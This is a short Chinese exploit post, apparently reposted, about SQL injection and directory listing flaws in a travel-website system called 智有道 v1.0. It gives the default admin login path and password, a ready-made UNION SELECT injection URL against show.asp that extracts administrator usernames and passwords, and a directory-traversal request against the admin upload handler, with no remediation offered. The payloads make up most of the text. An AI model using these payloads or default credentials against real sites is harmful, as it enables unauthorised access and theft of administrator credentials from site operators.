智有道专业旅游系统v1.0 注入及列目录漏洞(分析

[智有道]专业旅游网站系统是智有道团队专业开发，针对目前的旅游平台进行强大的功能开发！ 后台管理 默认后台路径：/admin/login.asp 默认管理员：user:admin 默认密码：psw:123456 下载地址:http://www.2cto.com/ym/201107/28476.html Demo Url:http://www.2cto.com / SQL EXP Tset:

http://www.2cto.com /info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin

 

遍历目录：

/admin/do/admin_uploadfile.asp?id=1&dir=..

http://www.2cto.com /%61%64%6D%69%6E%2F%64%6F%2F%70%69%63%2F%32%30%31%31%38%31%30%33%37%35%37%32%39%31%2E%73%77%66

作者：Mr.DzY，由情整理编辑

查看更多关于智有道专业旅游系统v1.0 注入及列目录漏洞(分析的详细内容...